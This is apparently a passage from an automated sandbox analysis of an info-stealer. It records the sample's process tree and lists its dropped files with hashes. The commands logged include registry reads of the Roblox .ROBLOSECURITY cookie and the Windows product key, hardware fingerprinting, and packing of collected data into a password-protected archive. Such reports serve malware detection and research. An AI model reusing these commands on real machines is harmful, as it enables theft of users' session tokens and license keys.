                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                5⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:5296
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "getmac"
                                                              4⤵
                                                                PID:332
                                                                • C:\Windows\system32\getmac.exe
                                                                  getmac
                                                                  5⤵
                                                                    PID:3940
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI13442\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\DNu2i.zip" *"
                                                                  4⤵
                                                                    PID:3256
                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI13442\rar.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\_MEI13442\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\DNu2i.zip" *
                                                                      5⤵
                                                                      • Executes dropped EXE
                                                                      PID:1552
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                    4⤵
                                                                      PID:1116
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic os get Caption
                                                                        5⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:5424
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                      4⤵
                                                                        PID:4156
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic computersystem get totalphysicalmemory
                                                                          5⤵
                                                                            PID:4004
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                          4⤵
                                                                            PID:5216
                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                              wmic csproduct get uuid
                                                                              5⤵
                                                                                PID:744
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                              4⤵
                                                                                PID:3836
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                  5⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:5536
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                4⤵
                                                                                  PID:4828
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    5⤵
                                                                                      PID:3984
                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                      wmic path win32_VideoController get name
                                                                                      5⤵
                                                                                      • Detects videocard installed
                                                                                      PID:2216
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                    4⤵
                                                                                      PID:5780
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                        5⤵
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        PID:3140

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v15

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                Filesize

                                                                                2KB

                                                                                MD5

                                                                                d85ba6ff808d9e5444a4b369f5bc2730

                                                                                SHA1

                                                                                31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                SHA256

                                                                                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                SHA512

                                                                                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                944B

                                                                                MD5

                                                                                22310ad6749d8cc38284aa616efcd100

                                                                                SHA1

                                                                                440ef4a0a53bfa7c83fe84326a1dff4326dcb515

                                                                                SHA256

                                                                                55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

                                                                                SHA512

                                                                                2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                944B

                                                                                MD5

                                                                                c65338524586fc00cf00e679a7d4a1f4

                                                                                SHA1

                                                                                62abf26bfb979dcbf7c7649cf8a681c2a8c7c9ae

                                                                                SHA256

                                                                                faa246e6b356f55ad8b18cea908dbf9035f67feaa06f8259d934306e13e88bf6

                                                                                SHA512

                                                                                c6721362afa4998c60ff60225a7b7571aaf1dbc8cb624ad7557b365a37df26e629763fa052dc31904b3175587e940d7e0630362620870c2c7351960a14c29310

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                944B

                                                                                MD5

                                                                                8a1d5945d69caaa5ad4650aa92416db8

                                                                                SHA1

                                                                                fce5ff33231a7b99c4e54afac0b356aa72c86aef

                                                                                SHA256

                                                                                536f6c89e5a645ed4b13768d4e63be2900f010b341e04729e79c04af7af1d567

                                                                                SHA512

                                                                                04a94cfc967dccb836f2a51b86f861f77421f57bfc6826b00a63a86df995e0e873b38a5c930a15a173b3ea4e768776a13860206468d1bb7ec614ce93f8143cc2

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                944B

                                                                                MD5

                                                                                80c8946cc1ff260c378961064b8caf44

                                                                                SHA1

                                                                                684844b25c6a11a494f2e17607919bd64a44ab81

                                                                                SHA256

                                                                                0a9427418328add42548c79fc7ad6af5f3470d782b0f086fbe65348b7ca5eb46

                                                                                SHA512

                                                                                6dcbe26d0cbf9786551e32f78e42f4d330c09101044a3e4cc56532f5ac30e4c63fa6718b72ccf3ea1dc8ee2d8aba3b29179691e342f30e30281c461bf141ced1

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                944B

                                                                                MD5

                                                                                6d42b6da621e8df5674e26b799c8e2aa

                                                                                SHA1

                                                                                ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

                                                                                SHA256

                                                                                5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

                                                                                SHA512

                                                                                53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                944B

                                                                                MD5

                                                                                ba169f4dcbbf147fe78ef0061a95e83b

                                                                                SHA1

                                                                                92a571a6eef49fff666e0f62a3545bcd1cdcda67

                                                                                SHA256

                                                                                5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1

                                                                                SHA512

                                                                                8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                1KB

                                                                                MD5

                                                                                b2600662b39ee59512f530131c038b45

                                                                                SHA1

                                                                                c417eecbd7fd9c0f143261279c17cdc83783c95c

                                                                                SHA256

                                                                                b2cd3884c706629b0e92856ba2643c4062d98480d38a36e4ac10f6a6695ed8c2

                                                                                SHA512

                                                                                97bbb9a0859b3e01a5d789b5d242c07b35e8f80a7ccf7e2e9af1ff31cf0a3497cc23603754407140a7602bb1a3edd7ec71529a0b9a7460b700ebcd72306bd3af

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                1KB

                                                                                MD5

                                                                                ac057a92f4b62d8880169af0693ef5b2

                                                                                SHA1

                                                                                66e7c7834c5dae5cec863ccd69403150d05841f4

                                                                                SHA256

                                                                                7cef55990e8e6cfe07e1965b303e79ac562cdc128ab82edf480d9873f72bb3ed

                                                                                SHA512

                                                                                d525f47da9e61fc87e55aca6b34e776be3ed081b719bbbb5256705a6afe5fdd4c16d5ee595af13994e2718f789f5fd32830331347d97b029c031c9dfe30c7f49

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                944B

                                                                                MD5

                                                                                34f595487e6bfd1d11c7de88ee50356a

                                                                                SHA1

                                                                                4caad088c15766cc0fa1f42009260e9a02f953bb

                                                                                SHA256

                                                                                0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

                                                                                SHA512

                                                                                10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                944B

                                                                                MD5

                                                                                da5c82b0e070047f7377042d08093ff4

                                                                                SHA1

                                                                                89d05987cd60828cca516c5c40c18935c35e8bd3

                                                                                SHA256

                                                                                77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

                                                                                SHA512

                                                                                7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

                                                                              • C:\Users\Admin\AppData\Local\Temp\4zl4c1cd\4zl4c1cd.dll

                                                                                Filesize

                                                                                4KB

                                                                                MD5

                                                                                3e97882050f4fa76c832a579be4b84d9

                                                                                SHA1

                                                                                9b11298315e43dde9304cf5093c5304b7c5267c4

                                                                                SHA256

                                                                                187bbac694fbafb4f28b7a5f0a674d65b1b8462ff309b566ff9fbaef80a5da2f

                                                                                SHA512

                                                                                95430b22a30dc5809a6bb1f9396316c64fae01a1ee83f0de6c34b545f9b17bc319d5a32f263ed24d43daf3198e744f30a86cb579bb5a634d6d6cc08d9dfc4078

                                                                              • C:\Users\Admin\AppData\Local\Temp\RES4FD5.tmp

                                                                                Filesize

                                                                                1KB

                                                                                MD5

                                                                                a4083579be28a876f053b341d40b2204

                                                                                SHA1

                                                                                da06d95b33fc86f1f05ff4ddbeacb54b8bdcccc5

                                                                                SHA256

                                                                                1e3f4781915b9728630f463cbaf3cb294784006710407a8bf0f4d8c8a1bfc2d1

                                                                                SHA512

                                                                                d780896945bf8a63435139c602231a09a311cdc199ce7de662e1ee9fb428080d518ba033d9b09a6f82f67227e247560a41eb7ca101b001b7b9a5d8ff115a7d96

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\VCRUNTIME140.dll

                                                                                Filesize

                                                                                116KB

                                                                                MD5

                                                                                be8dbe2dc77ebe7f88f910c61aec691a

                                                                                SHA1

                                                                                a19f08bb2b1c1de5bb61daf9f2304531321e0e40

                                                                                SHA256

                                                                                4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

                                                                                SHA512

                                                                                0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\_bz2.pyd

                                                                                Filesize

                                                                                48KB

                                                                                MD5

                                                                                6c57219d7f69eee439d7609ab9cc09e7

                                                                                SHA1

                                                                                52e8abbc41d34aa82388b54b20925ea2fcca2af8

                                                                                SHA256

                                                                                8e389c056a6cf8877ddf09a1ae53d1a1b1de71a32b437d992ec8195c3c8eda92

                                                                                SHA512

                                                                                801f5b3f15e25f3be3f7ece512ffa561c97d43fff465e8fcb8afc92a94fd0bd3ec57c3e4df775beb1a6357064fad2be2ab6345bb8fe8c9b00674ade546bf6bc3

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\_ctypes.pyd

                                                                                Filesize

                                                                                58KB

                                                                                MD5

                                                                                ee77573f4335614fc1dc05e8753d06d9

                                                                                SHA1

                                                                                9c78e7ce0b93af940749295ec6221f85c04d6b76

                                                                                SHA256

                                                                                20bc81c1b70f741375751ae7c4a177a409b141bfcd32b4267975c67fc1b11e87

                                                                                SHA512

                                                                                c87c9c68cb428c2305076545702e602c8119bb1c4b003fc077fc99a7b0f6ffd12cafdd7ff56dac5d150785adc920d92ea527067c8fec3c4a16737f11d23d4875

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\_decimal.pyd

                                                                                Filesize

                                                                                106KB

                                                                                MD5

                                                                                787f57b9a9a4dbc0660041d5542f73e2

                                                                                SHA1

                                                                                219f2cdb825c7857b071d5f4397f2dbf59f65b32

                                                                                SHA256

                                                                                d5646447436daca3f6a755e188ea15932ae6b5ba8f70d9c1de78f757d310d300

                                                                                SHA512

                                                                                cd06ea22530c25d038f8d9e3cc54d1fdbc421fb7987ab6ebc5b665ae86a73b39a131daef351420f1b1cb522002388c4180c8f92d93ea15460ccba9029cac7eef

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\_hashlib.pyd

                                                                                Filesize

                                                                                35KB

                                                                                MD5

                                                                                ff0042b6074efa09d687af4139b80cff

                                                                                SHA1

                                                                                e7483e6fa1aab9014b309028e2d31c9780d17f20

                                                                                SHA256

                                                                                e7ddac4d8f099bc5ebcb5f4a9de5def5be1fc62ecca614493e8866dc6c60b2ce

                                                                                SHA512

                                                                                0ff0178f7e681a7c138bfd32c1276cf2bd6fbeb734139b666f02a7f7c702a738abdbc9dddcf9ab991dead20ec3bf953a6c5436f8640e73bdd972c585937fa47a

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\_lzma.pyd

                                                                                Filesize

                                                                                86KB

                                                                                MD5

                                                                                58b19076c6dfb4db6aa71b45293f271c

                                                                                SHA1

                                                                                c178edc7e787e1b485d87d9c4a3ccfeadeb7039e

                                                                                SHA256

                                                                                eff1a7fc55efe2119b1f6d4cf19c1ec51026b23611f8f9144d3ef354b67ff4d5

                                                                                SHA512

                                                                                f4305dcc2024a0a138d997e87d29824c088f71322021f926e61e3136a66bea92f80bce06345307935072a3e973255f9bbae18a90c94b80823fbc9a3a11d2b2f4

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\_queue.pyd

                                                                                Filesize

                                                                                25KB

                                                                                MD5

                                                                                e8f45b0a74ee548265566cbae85bfab8

                                                                                SHA1

                                                                                24492fcd4751c5d822029759dec1297ff31ae54a

                                                                                SHA256

                                                                                29e7801c52b5699d13a1d7b95fd173d4a45ab2791377ac1f3095d5edc8eba4bd

                                                                                SHA512

                                                                                5861a0606e2c2c2ebb3d010b4591e4f44e63b9dbfa59f8bb4ac1cda4fbfdcb969864601dee6b23d313fe8706819346cfbcd67373e372c7c23260b7277ee66fbf

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\_socket.pyd

                                                                                Filesize

                                                                                43KB

                                                                                MD5

                                                                                6ef6bcbb28b66b312ab7c30b1b78f3f3

                                                                                SHA1

                                                                                ca053c79ce7ea4b0ec60eff9ac3e8dd8ba251539

                                                                                SHA256

                                                                                203daa59e7bf083176cbfcc614e3bac09da83d1d09ef4fcd151f32b96499d4b2

                                                                                SHA512

                                                                                bec35443715f98ee42fda3697c2009c66d79b1170714ea6dedde51205b64a845194fe3786702e04c593059ee4ad4bbfa776fbc130a3400a4a995172675b3dfa9

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\_sqlite3.pyd

                                                                                Filesize

                                                                                56KB

                                                                                MD5

                                                                                467bcfb26fe70f782ae3d7b1f371e839

                                                                                SHA1

                                                                                0f836eb86056b3c98d7baf025b37d0f5fe1a01a5

                                                                                SHA256

                                                                                6015c657b94e008e85f930d686634d2cafa884fd8943207ee759bc3a104c0f48

                                                                                SHA512

                                                                                19362aa94e6e336fd02f1f60fde9c032a45315f7973a1e597761ae3b49b916aecd89934b8ed33ee85fd53e150a708a4f8f2a25683fb15491daa8430c87a6511c

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\_ssl.pyd

                                                                                Filesize

                                                                                65KB

                                                                                MD5

                                                                                96af7b0462af52a4d24b3f8bc0db6cd5

                                                                                SHA1

                                                                                2545bb454d0a972f1a7c688e2a5cd41ea81d3946

                                                                                SHA256

                                                                                23c08f69e5eaa3a4ab9cab287d7dc2a40aca048c8b3c89992cdb62d4de6eb01f

                                                                                SHA512

                                                                                2a8ed5a4143b3176e96d220f0255da32a139909dd49625ef839c2dfce46e45f11a0b7340eb60ad1f815a455333e45aece6e0d47a8b474419e3cbbbd46f01c062

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\base_library.zip

                                                                                Filesize

                                                                                1.4MB

                                                                                MD5

                                                                                6e706e4fa21d90109df6fce1b2595155

                                                                                SHA1

                                                                                5328dd26b361d36239facff79baca1bab426de68

                                                                                SHA256

                                                                                ce9b9f16ce0d9abdbac3307115d91eaf279c5152336ccbe8830151b41c802998

                                                                                SHA512

                                                                                c7e377e2854ad5b5c3fb23593817ad6345bf8a78d842ff2a45c3be135fad6bb27b67c5b6c01b26e7c1b1b12ea0814f4f6b6a522bbfa689b89fa50d3652799b34

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\blank.aes

                                                                                Filesize

                                                                                116KB

                                                                                MD5

                                                                                0134453c3b7f0badd5c9007c02952f2e

                                                                                SHA1

                                                                                abf4176d4519177bb537189b69105f9ed193a3f9

                                                                                SHA256

                                                                                31b8bfb109e13b4487987c9e96ffbca438b466afe7087305e9ecafe2e928a68f

                                                                                SHA512

                                                                                38ba9f199f12a4dd8915996ed014569101331d8d76e8d2e8b60fffe6ff852bd5191c67009de7375fa1d8bd50f10e82fb006424ef820810c92e6177c5f31e2b69

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\libcrypto-3.dll

                                                                                Filesize

                                                                                1.6MB

                                                                                MD5

                                                                                7f1b899d2015164ab951d04ebb91e9ac

                                                                                SHA1

                                                                                1223986c8a1cbb57ef1725175986e15018cc9eab

                                                                                SHA256

                                                                                41201d2f29cf3bc16bf32c8cecf3b89e82fec3e5572eb38a578ae0fb0c5a2986

                                                                                SHA512

                                                                                ca227b6f998cacca3eb6a8f18d63f8f18633ab4b8464fb8b47caa010687a64516181ad0701c794d6bfe3f153662ea94779b4f70a5a5a94bb3066d8a011b4310d

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\libffi-8.dll

                                                                                Filesize

                                                                                29KB

                                                                                MD5

                                                                                08b000c3d990bc018fcb91a1e175e06e

                                                                                SHA1

                                                                                bd0ce09bb3414d11c91316113c2becfff0862d0d

                                                                                SHA256

                                                                                135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

                                                                                SHA512

                                                                                8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\libssl-3.dll

                                                                                Filesize

                                                                                222KB

                                                                                MD5

                                                                                264be59ff04e5dcd1d020f16aab3c8cb

                                                                                SHA1

                                                                                2d7e186c688b34fdb4c85a3fce0beff39b15d50e

                                                                                SHA256

                                                                                358b59da9580e7102adfc1be9400acea18bc49474db26f2f8bacb4b8839ce49d

                                                                                SHA512

                                                                                9abb96549724affb2e69e5cb2c834ecea3f882f2f7392f2f8811b8b0db57c5340ab21be60f1798c7ab05f93692eb0aeab077caf7e9b7bb278ad374ff3c52d248

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\python311.dll

                                                                                Filesize

                                                                                1.6MB

                                                                                MD5

                                                                                b167b98fc5c89d65cb1fa8df31c5de13

                                                                                SHA1

                                                                                3a6597007f572ea09ed233d813462e80e14c5444

                                                                                SHA256

                                                                                28eda3ba32f5247c1a7bd2777ead982c24175765c4e2c1c28a0ef708079f2c76

                                                                                SHA512

                                                                                40a1f5cd2af7e7c28d4c8e327310ea1982478a9f6d300950c7372634df0d9ad840f3c64fe35cc01db4c798bd153b210c0a8472ae0898bebf8cf9c25dd3638de8

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\rar.exe

                                                                                Filesize

                                                                                615KB

                                                                                MD5

                                                                                9c223575ae5b9544bc3d69ac6364f75e

                                                                                SHA1

                                                                                8a1cb5ee02c742e937febc57609ac312247ba386

                                                                                SHA256

                                                                                90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

                                                                                SHA512

                                                                                57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\rarreg.key

                                                                                Filesize

                                                                                456B

                                                                                MD5

                                                                                4531984cad7dacf24c086830068c4abe

                                                                                SHA1

                                                                                fa7c8c46677af01a83cf652ef30ba39b2aae14c3

                                                                                SHA256

                                                                                58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

                                                                                SHA512

                                                                                00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\select.pyd

                                                                                Filesize

                                                                                25KB

                                                                                MD5

                                                                                d76b7f6fd31844ed2e10278325725682

                                                                                SHA1

                                                                                6284b72273be14d544bb570ddf180c764cde2c06

                                                                                SHA256

                                                                                e46d0c71903db7d735cc040975bfc480dfea34b31b3e57b7dafa4c1f4058e969

                                                                                SHA512

                                                                                943ca5600f37cf094e08438e1f93b869f108abd556785e5d090051ed8cf003e85c1b380fc95f95bc871db59ffdd61099efa2e32d4354ca0cc70a789cf84abaa1

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\sqlite3.dll

                                                                                Filesize

                                                                                630KB

                                                                                MD5

                                                                                73b763cedf2b9bdcb0691fb846894197

                                                                                SHA1

                                                                                bf2a9e88fba611c2e779ead1c7cfd10d7f4486b2

                                                                                SHA256

                                                                                e813695191510bf3f18073491dc0ea1b760bc22c334eefe0e97312810de5d8d5

                                                                                SHA512

                                                                                617cb2b6027a3aba009bb9946347c4e282dd50d38ca4764e819631feb3a7fd739fd458e67866f9f54b33b07645ca55229030860a4faab5f677866cfa4a1f7ee2

                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI13442\unicodedata.pyd

                                                                                Filesize

                                                                                295KB

                                                                                MD5

                                                                                6873de332fbf126ddb53b4a2e33e35a5

                                                                                SHA1

                                                                                93748c90cd93fda83fcd5bb8187eeaf6b67a2d08

                                                                                SHA256

                                                                                f5631d92e9da39a6a1e50899d716eac323829d423a7f7fa21bd5061232564370

                                                                                SHA512

                                                                                0e03ba8c050aeadf88c390e5ea5e8e278f873885c970b67d5bc0675d782233a2925e753dae151c7af9976f64c42eba04a4dcec86204e983f6f6f2788a928401c

                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p5bedymn.tnj.ps1

                                                                                Filesize

                                                                                60B

                                                                                MD5

                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                SHA1

                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                SHA256

                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                SHA512

                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                              • C:\Windows\System32\Built.exe

                                                                                Filesize

                                                                                7.4MB

                                                                                MD5

                                                                                7e312ac869e50b5847ff56eab59567d2

                                                                                SHA1

                                                                                3bcefc87de994260931ac94760e6b478696048be

                                                                                SHA256

                                                                                5a77b59bd2f5486fbb176fe7c7e8cc478419247c142e5ea7db8d14966bccb5af

                                                                                SHA512

                                                                                fb9a3658a636644d2df12c2ca1d6f399c84e571491a0dab888d798e5b9ccfb648e077cb90dfbffd5ad24f85441fafc1bb887b160263a2d53577c5db1adf892ee

                                                                              • C:\Windows\System32\XClient.exe

                                                                                Filesize

                                                                                242KB

                                                                                MD5

                                                                                7bd5abbfcd57e7565e7778bf1157b816

                                                                                SHA1

                                                                                a5785d5dae2bb92978f277a4f68e7e682ac4834b

                                                                                SHA256

                                                                                6b7bfe55c3d4223bb868889fd56c5518fbc3784f6f1d96605c38943cfe004a85

                                                                                SHA512

                                                                                d8ad281a2e8a8c4d84d90f2b7d57846733889c280ceccfa20c2a0053e7dfc16a1783621942b0e1032e5b273fe4bec1a0627c52831128eff878a15f2b84eddfdf

                                                                              • C:\Windows\System32\drivers\etc\hosts

                                                                                Filesize

                                                                                2KB

                                                                                MD5

                                                                                f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                                SHA1

                                                                                e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                                SHA256

                                                                                a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                                SHA512

                                                                                c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                                              • C:\Windows\System32\test.bat

                                                                                Filesize

                                                                                435B

                                                                                MD5

                                                                                40f36b839af3aad8887e3cfe758efab8

                                                                                SHA1

                                                                                2d60ce25bf47ce4c4969cd73bd204491a3e2d18e

                                                                                SHA256

                                                                                c9650c17cca714b78e175479a9d9bcf2b6d01629d00418fc2f2b9167563ecb1d

                                                                                SHA512

                                                                                13ee91dde3b5c6920fc94df15e1d37f66f009a3b5d770fc747d7000a8c4d5091dddaf642b3f1edf01e3ac7f63b652576525401a801c6e4f7621860070f667f8c

                                                                              • \??\c:\Users\Admin\AppData\Local\Temp\4zl4c1cd\4zl4c1cd.0.cs

                                                                                Filesize

                                                                                1004B

                                                                                MD5

                                                                                c76055a0388b713a1eabe16130684dc3

                                                                                SHA1

                                                                                ee11e84cf41d8a43340f7102e17660072906c402

                                                                                SHA256

                                                                                8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                                SHA512

                                                                                22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                              • \??\c:\Users\Admin\AppData\Local\Temp\4zl4c1cd\4zl4c1cd.cmdline

                                                                                Filesize

                                                                                607B

                                                                                MD5

                                                                                3ec9d025e8454dfebf5a1219b17ed03d

                                                                                SHA1

                                                                                c156c09af85e3844531fe1089dec676a8248b8bb

                                                                                SHA256

                                                                                cb5a3e7388f6b186d3c2b6c6c985b7b9e8406a97bff745fde0e4af92cae8c0dd

                                                                                SHA512

                                                                                1a55c5dbacbf283e0e9edcb22ee9b83f2ea661cd3e4e3c6466da80a588ac634eead94db6d74f023f679b121551bc5a2f4f676a17dada2486dce48db59590d310

                                                                              • \??\c:\Users\Admin\AppData\Local\Temp\4zl4c1cd\CSCB3338F665EBD4ED7AB16103542A428E9.TMP

                                                                                Filesize

                                                                                652B

                                                                                MD5

                                                                                fce1a8c438f978bff9082e200d692d79

                                                                                SHA1

                                                                                d081b5db9c971627447521e270543b9192cc5049

                                                                                SHA256

                                                                                612a63ba92f08ba60f95997bcda0415e3bf688ada25179903c1215cfef2ca269

                                                                                SHA512

                                                                                597ecb60ae81e27bbc79044acf4a7e0580351687ba9e493c7212e3ae975f90ed4ddb7a4df05a598d23b8bf85961f7219b19230f06ec329902863696d9e650a10

                                                                              • memory/1068-324-0x00007FFCF9D10000-0x00007FFCFA7D1000-memory.dmp

                                                                                Filesize

                                                                                10.8MB

                                                                              • memory/1068-177-0x00007FFCF9D10000-0x00007FFCFA7D1000-memory.dmp

                                                                                Filesize

                                                                                10.8MB

                                                                              • memory/1068-178-0x0000019F69750000-0x0000019F69760000-memory.dmp

                                                                                Filesize

                                                                                64KB

                                                                              • memory/2068-132-0x00007FFD093F0000-0x00007FFD09414000-memory.dmp

                                                                                Filesize

                                                                                144KB

                                                                              • memory/2068-133-0x00007FFD0D280000-0x00007FFD0D28F000-memory.dmp

                                                                                Filesize

                                                                                60KB

